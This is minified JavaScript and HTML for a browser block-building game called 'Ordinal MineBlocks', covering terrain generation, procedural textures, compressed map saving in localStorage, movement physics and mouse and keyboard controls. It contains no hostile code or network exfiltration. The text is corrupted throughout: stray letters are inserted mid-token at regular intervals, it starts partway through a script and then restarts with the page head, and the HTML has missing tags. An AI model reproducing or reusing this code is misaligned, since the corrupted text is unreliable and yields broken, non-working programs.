TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
